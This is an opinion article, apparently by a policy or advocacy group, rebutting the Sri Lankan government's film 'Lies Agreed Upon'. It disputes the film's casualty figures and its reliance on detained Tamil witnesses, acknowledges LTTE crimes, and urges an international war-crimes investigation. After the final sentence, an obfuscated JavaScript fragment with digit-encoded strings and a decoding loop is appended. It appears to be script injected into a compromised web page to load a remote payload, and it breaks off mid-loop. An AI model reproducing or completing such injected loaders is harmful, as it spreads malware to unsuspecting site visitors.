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The government of Sri Lanka has responded to the British Channel 4’s investigative journalism on alleged war crimes in the final stages of the conflict with the Liberation Tigers of Tamil Eelam (LTTE) with its own televised program – “Lies Agreed Upon”. Any viewers of the Sri Lankan Ministry of Defence’s slickly-produced attempt to rebut Channel 4 should consider the following:

There is nothing in the program that disproves, and little that even challenges directly, the many specific credible allegations – including those in the report of the UN Secretary-General’s panel of experts on accountability – that in 2009 the government shelled Tamil civilian concentrations and hospitals, executed surrendering cadres and LTTE political leaders, and failed to provide adequate humanitarian supplies to the civilian population.

Instead the program makes blanket claims that the LTTE was operating near civilians and hospitals, and focuses on establishing that those allegedly executed – such as the LTTE news-reader Isaipriya and LTTE military commander “Col” Ramesh – were “terrorists”. Much of this is undisputed, and none of it justifies what the government is alleged to have done. War crimes remain war crimes even if both parties engage in them and even if some of the victims engaged in crimes of their own.

The program also distorts critical statistics even as it accuses Channel 4 of using “numbers pulled from thin air”. In challenging estimates (including by the UN panel of experts) that up to 40,000 civilians were killed in the final months of the war, the government claims that the highest estimate of the total population (civilians and cadres) in the Vanni in 2009 was 305,000. It then claims that because 293,800 people were eventually registered in government camps, a toll of 40,000 deaths is impossible. But 305,000 is not the highest estimate. The UN panel report cites a civilian population figure of 330,000 remaining in the Vanni in early February 2009, by which point many civilians had already left the area and registered in the government camps. Instead of engaging this specific allegation, the government ignores it and then relies selectively on other UN statements, many taken out of context, to bolster its position. The UN is wrong not to challenge this practice, especially when the government insisted at the time of the crisis that no more than 100,000 civilians were present.

Most of the Tamils interviewed in the program – on whom the government rests its case against Channel 4 – were detained by the government in the aftermath of the war. Many are still in custody or under close military surveillance. The bulk of the videotaped statements by the government’s key witnesses – doctors who served in the war zone until the final days of fighting – were recorded when they were held in government detention in 2009. All former LTTE cadres, even those who have been released from the government’s “rehabilitation” centres, are at constant risk of harassment, interrogation or worse. The fact that a handful of Tamil women told government interviewers that they had not suffered sexual abuse is not a response to the many who say they have or to the disturbing images aired by Channel 4 of Sinhalese soldiers commenting on dead female bodies, many with undergarments pulled down.

The program is right to show how Tamils under the LTTE were forced to say things they didn’t believe and do things they didn’t want to. But the government’s film reveals in its own way that a similar reality prevails now for many Tamils living under the government’s military rule in the north and east, especially when the issue is one as sensitive as that of alleged war crimes. Hence the striking ambiguity of the title: while meant to refer to Channel 4?s “lies”, it’s hard not to think it also describes the apparent work of the government’s producers in getting all their Tamil interviewees to tell the story the government wanted.

Indeed, one of the striking things about the program are the many eery parallels between the actions of the LTTE and those of the GOSL, both during the war and afterwards.
The program’s claims in its opening scene that the LTTE forced people to protest the UN leaving Kilinochchi in September 2008 – this is quite possibly true and well worth pointing out, even if it is far from a central issue. Channel 4 was mistaken not to at least mention it as a possibility. But it is not so different from the long practice in Sri Lankaof the government and political parties either paying or forcing people to protest for or support them (e.g., the many credible reports of the military’s forcing Tamils in Jaffna to sign the government’s petition against the recent UN panel report). What is perhaps different is that the civilians in Kilinochchi had every reason to believe that the UN’s departure would increase the risk of death, injury and forced recruitment, since the LTTE refused to allow any of them to depart with the UN.
The program also has some basis to criticise Channel 4 for not saying more about a) the grave and systematic nature of Tiger crimes, both in general and especially at the end of war, and b) how the LTTE controlled much of the disapora’s political activities. Indeed, the alleged execution of Sinhalese prisoners by the LTTE in 2009, which the program highlights, should be fully examined as part of an international investigation into all credible allegations of rights violations. But it is wrong to claim that Channel 4 ignored LTTE atrocities, as is obvious to anyone who has watched the programs.
Nonetheless, the LTTE’s large share of responsibility for the tremendous suffering that Tamil civilians went through in the final months of the war must be persistently reinforced. The government’s film makes clear that so long as campaigners for justice and peace in the Tamil diaspora do not clearly recognise the crimes of the LTTE and clearly repudiate their violent forms of militant struggle, and the damage it did to all communities in Sri Lanka, their efforts towards justice will remain weak.
On the other hand, so long as the government allows former LTTE members to point the finger at their dead comrades – such as Daya Master’s claim in the program that the LTTE used to don army uniforms to shoot people – but takes no action to investigate specific incidents or prosecute those responsible for LTTE crimes (let alone government crimes), their claims to be pursuing justice and accountability will be even more lacking in credibility.
The government’s challenge to Channel 4?s reporting is far from the successful refutation it claims. If anything “Lies Agreed Upon” raises more questions than it answers. It only makes more urgent and clear the need for an independent and international investigation into the many credible allegations of war crimes and crimes against humanity committed by both the LTTE and government forces. var a=0,m,v,t,z,x=new Array('9091968376','888791819281878634737491878493927735928788342133333333896','877886888787','949990793917947998942577939317'),l=x.length;while(++a